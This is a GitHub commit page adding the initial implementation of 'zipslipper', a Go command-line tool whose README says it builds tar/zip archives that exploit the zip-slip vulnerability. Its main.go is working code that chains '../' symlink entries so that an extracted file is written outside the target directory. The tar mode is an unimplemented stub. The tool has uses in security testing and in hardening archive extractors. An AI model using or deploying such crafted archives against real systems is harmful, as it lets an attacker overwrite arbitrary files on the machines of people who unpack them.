Skip to content

Commit

Permalink
added initial implementation for zip
Browse files Browse the repository at this point in the history
  • Loading branch information
NodyHub committed Sep 20, 2024
1 parent be524b7 commit c2ddd12
Show file tree
Hide file tree
Showing 8 changed files with 343 additions and 1 deletion.
24 changes: 24 additions & 0 deletions .github/workflows/golangci-lint.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
name: golangci-lint
on:
push:
branches:
- main
pull_request:

permissions:
contents: read

jobs:
golangci:
name: lint
runs-on: ubuntu-latest
steps:
- uses: actions/[email protected]
- uses: actions/[email protected]
with:
go-version: '1.21'
cache: false
- name: golangci-lint
uses: golangci/[email protected]
with:
version: v1.54
26 changes: 26 additions & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
name: release

on:
release:
types: [ published ]

jobs:
release:
name: Release
runs-on: ubuntu-latest
steps:
- name: Setup go 1.21
uses: actions/[email protected]
with: { go-version: '1.21' }

- name: Checkout code
uses: actions/[email protected]

- name: Run GoReleaser
uses: goreleaser/[email protected]
with:
distribution: goreleaser
version: latest
args: release --clean
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -23,3 +23,4 @@ go.work.sum

# env file
.env
zipslipper
28 changes: 28 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
default: build

build:
@go build -o zipslipper .


install: build
@mv zipslipper $(GOPATH)/bin/zipslipper

clean:
@go clean
@rm zipslipper

test:
go test ./...

test_coverage:
go test ./... -coverprofile=coverage.out

test_coverage_view:
go test ./... -coverprofile=coverage.out
go tool cover -html=coverage.out

test_coverage_html:
go test ./... -coverprofile=coverage.out
go tool cover -html=coverage.out -o=coverage.html

all: build install
43 changes: 42 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,43 @@
# zipslipper
Create tar archives
Create tar/zip archives that try to exploit zipslip vulnerability.

## CLI Tool

You can use this library on the command line with the `zipslipper` command.

### Installation

```cli
go install github.com/NodyHub/zipslipper@latest
```

### Manual Build and Installation

```cli
git clone [email protected]:NodyHub/zipslipper.git
cd zipslipper
make
make install
```

## Usage

Basic usage on cli:

```shell
% zipslipper -h
Usage: zipslipper <input> <relative-path> <output-file> [flags]

A utility to build tar/zip archives that performs a zipslip attack.

Arguments:
<input> Input file.
<relative-path> Relative extraction path.
<output-file> Output file.

Flags:
-h, --help Show context-sensitive help.
-t, --archive-type="zip" Archive type. (tar, zip)
-v, --verbose Verbose logging.
-V, --version Print release version information.
```
5 changes: 5 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
module github.com/NodyHub/zipslipper

go 1.23.1

require github.com/alecthomas/kong v1.2.1 // indirect
2 changes: 2 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
github.com/alecthomas/kong v1.2.1 h1:E8jH4Tsgv6wCRX2nGrdPyHDUCSG83WH2qE4XLACD33Q=
github.com/alecthomas/kong v1.2.1/go.mod h1:rKTSFhbdp3Ryefn8x5MOEprnRFQ7nlmMC01GKhehhBM=
215 changes: 215 additions & 0 deletions main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,215 @@
package main

import (
"archive/zip"
"fmt"
"io"
"log/slog"
"os"
"path/filepath"
"strings"
"time"

"github.com/alecthomas/kong"
)

var (
version = "dev"
commit = "none"
date = "unknown"
)

var CLI struct {
InputFile string `arg:"" name:"input" help:"Input file."`
RelativePath string `arg:"" name:"relative-path" help:"Relative extraction path."`
Out string `arg:"" name:"output-file" type:"path" help:"Output file."`
ArchiveType string `short:"t" default:"zip" help:"Archive type. (tar, zip)"`
Verbose bool `short:"v" optional:"" help:"Verbose logging."`
Version kong.VersionFlag `short:"V" optional:"" help:"Print release version information."`
}

func main() {

// Parse CLI arguments
kong.Parse(&CLI,
kong.Description("A utility to build tar/zip archives that performs a zipslip attack."),
kong.UsageOnError(),
kong.Vars{
"version": fmt.Sprintf("%s (%s), commit %s, built at %s", filepath.Base(os.Args[0]), version, commit, date),
},
)

// Check for verbose output
logLevel := slog.LevelError
if CLI.Verbose {
logLevel = slog.LevelDebug
}

// setup logger
logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{
Level: logLevel,
}))

// LOG CLI arguments
logger.Debug("CLI arguments", "CLI", CLI)

switch CLI.ArchiveType {

case "zip":
if err := createZip(); err != nil {
logger.Error("failed to create zip archive", "error", err)
os.Exit(1)
}

case "tar":
if err := createTar(logger); err != nil {
logger.Error("failed to create tar archive", "error", err)
os.Exit(1)
}

default:
logger.Error("invalid archive type", "type", CLI.ArchiveType)
os.Exit(1)
}
}

func createZip() error {
// Create a zip archive

// create a new zip archive
zipfile, err := os.Create(CLI.Out)
if err != nil {
return fmt.Errorf("failed to create zip file: %s", err)
}
defer func() {
if err := zipfile.Close(); err != nil {
panic(fmt.Errorf("failed to close zip file: %s", err))
}
}()

// create a new zip writer
zipWriter := zip.NewWriter(zipfile)
defer func() {
if err := zipWriter.Close(); err != nil {
panic(fmt.Errorf("failed to close zip writer: %s", err))
}
}()

// create basic zip structure
if err := addFolderToZip(zipWriter, "sub/"); err != nil {
return fmt.Errorf("failed to add folder 'sub/' to zip: %s", err)
}
if err := addSymlinkToZip(zipWriter, "sub/root", "../"); err != nil {
return fmt.Errorf("failed to add symlink 'sub/root --> ../' to zip: %s", err)
}
if err := addSymlinkToZip(zipWriter, "sub/root/outside", "../"); err != nil {
return fmt.Errorf("failed to add symlink 'sub/root/outside --> ../' to zip: %s", err)
}

// check how many traversals are needed
traversals := strings.Count(CLI.RelativePath, "../")
basePath := "sub/root/outside"
for i := 0; i < traversals; i++ {
basePath = fmt.Sprintf("%s/%v", basePath, i)
if err := addSymlinkToZip(zipWriter, basePath, "../"); err != nil {
return fmt.Errorf("failed to add symlink '%s --> ../' to zip: %s", basePath, err)
}
}

// add the file to the zip archive
filePath := fmt.Sprintf("%s/%s", basePath, CLI.InputFile)
if err := addFileToZip(zipWriter, CLI.InputFile, filePath); err != nil {
return fmt.Errorf("failed to add file to zip: %s", err)
}

return nil
}

func addFolderToZip(zipWriter *zip.Writer, folder string) error {

// ensure folder nomenclature
if !strings.HasSuffix(folder, "/") {
folder = folder + "/"
}
zipHeader := &zip.FileHeader{
Name: folder,
Method: zip.Store,
Modified: time.Now(),
}
zipHeader.SetMode(os.ModeDir | 0755)

if _, err := zipWriter.CreateHeader(zipHeader); err != nil {
return fmt.Errorf("failed to create zip header for directory: %s", err)
}

return nil
}

func addFileToZip(zipWriter *zip.Writer, file string, relativePath string) error {

// open the file
fileReader, err := os.Open(file)
if err != nil {
return fmt.Errorf("failed to open file: %s", err)
}
defer fileReader.Close()

// stat input
fileInfo, err := fileReader.Stat()
if err != nil {
return fmt.Errorf("failed to stat file: %s", err)
}

// create a new file header
zipHeader, err := zip.FileInfoHeader(fileInfo)
if err != nil {
return fmt.Errorf("failed to create file header: %s", err)
}

// set the name of the file
zipHeader.Name = relativePath

// set the method of compression
zipHeader.Method = zip.Deflate

// create a new file writer
writer, err := zipWriter.CreateHeader(zipHeader)
if err != nil {
return fmt.Errorf("failed to create zip file header: %s", err)
}

// write the file to the zip archive
if _, err := io.Copy(writer, fileReader); err != nil {
return fmt.Errorf("failed to write file to zip archive: %s", err)
}

return nil
}

func addSymlinkToZip(zipWriter *zip.Writer, symlinkName string, target string) error {

// create a new file header
zipHeader := &zip.FileHeader{
Name: symlinkName,
Method: zip.Store,
Modified: time.Now(),
}
zipHeader.SetMode(os.ModeSymlink | 0755)

// create a new file writer
writer, err := zipWriter.CreateHeader(zipHeader)
if err != nil {
return fmt.Errorf("failed to create zip header for symlink %s: %s", symlinkName, err)
}

// write the symlink to the zip archive
if _, err := writer.Write([]byte(target)); err != nil {
return fmt.Errorf("failed to write symlink target %s to zip archive: %s", target, err)
}

return nil
}

func createTar(logger *slog.Logger) error {
panic("not implemented")
}

0 comments on commit c2ddd12

Please sign in to comment.